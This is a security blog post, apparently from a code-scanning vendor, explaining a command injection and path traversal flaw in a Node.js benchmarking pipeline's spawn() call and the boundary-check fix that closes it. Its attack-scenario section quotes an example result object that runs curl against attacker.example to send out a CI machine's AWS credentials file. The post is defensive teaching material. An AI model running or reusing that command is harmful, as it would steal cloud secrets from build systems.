Back to Blog
high SEVERITY6 min read

How command injection happens in Node.js child_process spawn calls and how to fix it

A benchmarking helper in `bench/lib/actor.js` passed an unvalidated executable path from upstream pipeline results directly into `child_process.spawn()`. The fix resolves the path and enforces that it lives inside the sandboxed stage directory before execution, closing off a path-traversal-driven command injection primitive.

O
By Orbis AppSec
Published August 31, 2026Reviewed August 31, 2026

Answer Summary

This is a command injection / path traversal vulnerability (CWE-78 / CWE-22) in a Node.js benchmarking library, where `bench/lib/actor.js` called `spawn(source.path, args, ...)` using a path taken from pipeline step results without validating that it stayed inside the expected sandbox. The fix resolves both the executable path and the stage directory with `path.resolve()` and throws an error if the executable is not a descendant of the stage directory, preventing execution of arbitrary binaries outside the intended sandbox.

Vulnerability at a Glance

cweCWE-78 (Command Injection) / CWE-22 (Path Traversal)
fixResolve both the executable path and stage directory with `path.resolve()`, and reject execution if the resolved executable path escapes the stage directory
riskExecution of an arbitrary binary outside the intended sandbox directory, enabling code execution and secret/code theft in the benchmarking pipeline
languageJavaScript (Node.js)
root cause`source.path` (derived from prior pipeline step results) was passed unchecked to `spawn()` with no boundary validation
vulnerabilityCommand Injection via unvalidated executable path passed to child_process.spawn()

Introduction

The bench/lib/actor.js file is part of a Node.js benchmarking pipeline that orchestrates multi-step build/test workflows. One of its step handlers, spawn-process, is responsible for launching an executable produced by a previous pipeline step and monitoring it via child_process.spawn(). The problem: the executable path used to launch that process came straight from ctx.results.get(step.with.fromStep) — the output of a previous pipeline step — and was handed to spawn() with no validation that it pointed where it was supposed to.

That might sound harmless in a controlled CI environment, but pipeline step results are exactly the kind of "internal but not fully trusted" data that benchmarking/build systems increasingly ingest from plugins, downloaded artifacts, or user-defined step configurations. If an attacker can influence what source.path resolves to — via a malicious plugin, a crafted pipeline definition, or a supply-chain-tainted step — they can redirect execution to an arbitrary binary anywhere on the filesystem, sidestepping the sandbox the benchmarking harness was designed to enforce.

The Vulnerability Explained

Here's the vulnerable code from bench/lib/actor.js, around line 358:

'spawn-process': async (step, ctx) => {
  const source = ctx.results.get(step.with.fromStep);
  const args = step.with.args ?? [];
  const child = spawn(source.path, args, { stdio: 'ignore', windowsHide: true });
  ctx.children.push(child);
  const timestamp = await awaitSpawn(child);
  return {

The key issue is spawn(source.path, args, ...). source.path is trusted implicitly, but it originates from ctx.results — data produced by a different pipeline step (step.with.fromStep). Nothing in this code confirms that source.path actually lives inside the sandbox directory the benchmark run is supposed to be confined to (ctx.stageDir).

This is Semgrep's javascript.lang.security.detect-child-process.detect-child-process finding: a call into child_process fed by a function argument (ctx) whose provenance isn't guaranteed to be safe. While spawn() (unlike exec()) doesn't interpret shell metacharacters, that protection is irrelevant if the path to the executable itself can be steered outside the intended boundary — that's a path-traversal-flavored command injection primitive.

Example attack scenario: Imagine a malicious or compromised pipeline step produces a result object like:

{ path: '/usr/bin/curl', args: ['http://attacker.example/exfil', '-d', '@/home/ci/.aws/credentials'] }

If this result is ever consumed by the spawn-process step (whether through a crafted step definition, a benchmark plugin, or an upstream step that got tampered with), actor.js would happily spawn() /usr/bin/curl with attacker-chosen arguments — completely outside the sandboxed stage directory the benchmark run was meant to operate in. In a CI/CD context, that's a direct path to secret exfiltration or lateral movement.

The Fix

The patch adds an explicit boundary check before the process is ever spawned:

Before:

'spawn-process': async (step, ctx) => {
  const source = ctx.results.get(step.with.fromStep);
  const args = step.with.args ?? [];
  const child = spawn(source.path, args, { stdio: 'ignore', windowsHide: true });

After:

'spawn-process': async (step, ctx) => {
  const source = ctx.results.get(step.with.fromStep);
  const args = step.with.args ?? [];
  const resolvedExec = path.resolve(source.path);
  const resolvedStageDir = path.resolve(ctx.stageDir);
  if (!resolvedExec.startsWith(resolvedStageDir + path.sep)) {
    throw new Error(`executable path is outside the stage directory`);
  }
  const child = spawn(resolvedExec, args, { stdio: 'ignore', windowsHide: true });

Three things happen here that matter:

  1. Canonicalization: path.resolve() is applied to both source.path and ctx.stageDir. This neutralizes tricks like ../../../usr/bin/curl or symlink-style relative traversal — the comparison happens on fully resolved, absolute paths, not raw strings.
  2. Explicit boundary enforcement: The code checks that the resolved executable path starts with the resolved stage directory plus a path separator (path.sep), which correctly prevents a sibling-directory bypass (e.g., stageDir = /tmp/stage shouldn't match /tmp/stage-evil).
  3. Fail closed: If the check fails, the function throws immediately — no process is spawned, no partial execution occurs.

The result: even if ctx.results contains a path that has been tampered with or points somewhere unexpected, actor.js will refuse to execute it unless it's genuinely inside the sandbox directory the benchmark run controls.

Prevention & Best Practices

  • Never trust intermediate pipeline/step output as inherently safe. Data passed between steps in a benchmarking or build system should be treated the same way you'd treat user input — validate before using it in a sensitive sink like child_process.spawn().
  • Always resolve and validate filesystem paths before executing them. Use path.resolve() plus a startsWith(base + path.sep) check (or a dedicated library) to enforce sandbox boundaries — string-prefix checks without resolving paths first are trivially bypassed.
  • Prefer spawn()/execFile() over exec() to avoid shell interpretation, but remember that avoiding shell injection doesn't automatically protect against an attacker controlling which binary gets executed.
  • Run static analysis in CI. This exact issue was flagged by Semgrep's javascript.lang.security.detect-child-process.detect-child-process rule — wiring these scans into CI catches these patterns before merge.
  • Apply the principle of least privilege to any process that spawns child executables based on data it didn't fully control (e.g., run the benchmark harness with a restricted filesystem/user context).

Key Takeaways

  • The spawn-process handler in bench/lib/actor.js trusted source.path from a prior pipeline step without checking it stayed inside ctx.stageDir.
  • A single missing boundary check turned a benign-looking spawn() call into a potential arbitrary-executable-launch primitive.
  • path.resolve() + startsWith(resolvedStageDir + path.sep) is a simple, effective pattern for enforcing "this path must be inside this sandbox" — use it any time you pass computed paths into child_process.
  • Fixing this doesn't change behavior for legitimate benchmark runs — paths that are already inside the stage directory pass through unaffected.
  • Even defensive/"not currently exploitable" findings from tools like Semgrep are worth fixing proactively, since automated exploit tooling increasingly chains together weak primitives like this one.

How Orbis AppSec Detected This

  • Source: ctx.results.get(step.with.fromStep) — the output/path of a prior benchmark pipeline step, treated as untrusted data.
  • Sink: spawn(source.path, args, { stdio: 'ignore', windowsHide: true }) in bench/lib/actor.js:358.
  • Missing control: No validation that the resolved executable path was contained within the expected sandbox (ctx.stageDir) before being executed.
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command) with a CWE-22 (Path Traversal) root cause.
  • Fix: Resolve both the executable path and stage directory with path.resolve() and throw an error if the executable lies outside the stage directory before calling spawn().

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability shows how a benchmarking utility's convenience feature — chaining pipeline step outputs directly into child_process.spawn() — can quietly become a command execution primitive if the data crossing that boundary isn't validated. The fix in bench/lib/actor.js is small but precise: resolve paths, compare them against a trusted sandbox root, and fail closed if they don't match. Any codebase that spawns child processes based on computed or pipeline-derived paths should adopt this same pattern, and continuous static analysis (like the Semgrep rule that flagged this) should be part of the review process to catch these primitives before they ship.

References

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command — https://cwe.mitre.org/data/definitions/78.html
  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') — https://cwe.mitre.org/data/definitions/22.html
  • OWASP Command Injection Prevention Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
  • Node.js child_process documentation — https://nodejs.org/api/child_process.html
  • Node.js path.resolve() documentation — https://nodejs.org/api/path.html#pathresolvepaths
  • Semgrep rule reference — https://semgrep.dev/r?q=javascript.lang.security.detect-child-process.detect-child-process
  • harden: sanitize child_process call in actor.js...

Frequently Asked Questions

What is command injection?

Command injection is a vulnerability where an application executes an OS command or binary using attacker-influenced input, allowing an attacker to run unintended commands or programs on the host.

How do you prevent command injection in Node.js?

Avoid `shell: true` in `child_process` calls, never build commands from untrusted string concatenation, and validate/normalize any file paths or arguments (e.g., with `path.resolve()` and directory boundary checks) before passing them to `spawn()` or `exec()`.

What CWE is command injection?

Command injection is CWE-78. When the root cause is an unchecked file path, it also overlaps with CWE-22 (Path Traversal).

Is using `spawn()` instead of `exec()` enough to prevent command injection?

No. `spawn()` avoids shell interpretation of arguments, but if the executable *path itself* is attacker-influenced and unvalidated, an attacker can still redirect execution to an arbitrary binary — as seen in this case.

Can static analysis detect command injection?

Yes. Tools like Semgrep flag risky `child_process` usage (e.g., `javascript.lang.security.detect-child-process.detect-child-process`), which is exactly how this issue was surfaced for review.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #252

Related Articles

critical

How Arbitrary Code Execution Via Command Injection happens in Node.js and how to fix it

A critical arbitrary code execution flaw in the `shell-quote` npm package (CVE-2026-9277) allowed attackers to break out of shell quoting using unescaped Unicode line terminator characters, turning ordinary command-line arguments into injected shell commands. The fix locks `shell-quote` to the patched `1.8.4` release via a `resolutions` override in `package.json`/`yarn.lock`, closing off a transitive dependency path that could otherwise pull in a vulnerable version.

critical

How command injection happens in Kotlin/Android and how to fix it

V2rayNG's RootShell.kt built root shell commands by concatenating an unescaped file path directly into a string passed to `su -c`, creating a critical command injection risk (CWE-78). The fix restricts the `exec()` API to internal use only and single-quote-escapes the file path before it ever reaches the root shell.

high

How shell command injection happens in Ruby and how to fix it

A critical command injection vulnerability was discovered in Fastlane's deliver module where `system("open '#{html_path}'")` allowed shell metacharacters in file paths to execute arbitrary commands. The fix replaces vulnerable string interpolation with array-based argument passing, eliminating the shell entirely.

critical

How Command Injection Happens in Node.js Dependencies and How to Fix It

CVE-2026-9277 is a critical command injection vulnerability in shell-quote versions prior to 1.8.4 that allows attackers to execute arbitrary code by injecting unescaped line terminators into shell commands. This vulnerability affects any Node.js application that uses the vulnerable shell-quote package to construct shell commands from untrusted input. The fix upgrades shell-quote to version 1.8.4, which properly escapes line terminators and neutralizes the injection vector.

high

How command injection happens in Ruby and how to fix it

A Fastlane helper used a Ruby backtick subshell to clone a plugin's git repository, interpolating `self.homepage` directly into a shell command string. Even with `shellescape` applied, the pattern was flagged as a dangerous subshell that could be chained into a command injection primitive; the fix replaces it with `system()` using an argument array, eliminating shell interpretation entirely.

critical

How command injection happens in JavaScript dependency trees and how to fix it

A critical command injection vulnerability in websocket-driver 0.7.4 allowed attackers to execute arbitrary shell commands through unescaped line terminators in WebSocket protocol handling. The automated fix upgrades to version 0.7.5 and adds an explicit override in package.json to prevent dependency resolution from reverting to the vulnerable version.